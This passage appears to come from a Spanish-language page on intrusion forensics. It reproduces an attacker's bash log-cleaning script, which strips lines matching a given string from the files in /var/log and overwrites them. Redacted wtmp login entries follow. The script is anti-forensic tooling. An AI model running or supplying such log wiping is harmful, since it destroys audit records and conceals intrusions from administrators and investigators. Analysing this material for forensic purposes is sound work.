----------------------------------------------------------------------------- #!/bin/bash . . . WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "@") for file in $WHAT line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}') echo -n "Cleaning $file ($line lines)..." grep -v $1 /var/log/$file > new mv -f new /var/log/$file newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}') let linedel=$(($line-$newline)) echo "$linedel lines removed!" done echo " " -----------------------------------------------------------------------------
Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.
----------------------------------------------------------------------------- ftp4264 ttyp1 3XXXXX XXXXXXXXXXXX ttyp1 Pftp4626 3XXXXX XXXXXXXXXXXX ttyp1 3XXXXX XXXXXXXXXXXX ftp4626 ttyp1 Pftp4639 3XXXXXXXX XXX.XX.XXX.XX Pftp4639 Pftp4653 3XXXXXX XXXXXXXXXXXX ftp4653 Pftp4743 3XXXXX XXXXXXXXXXXXXXXX -----------------------------------------------------------------------------[Subir]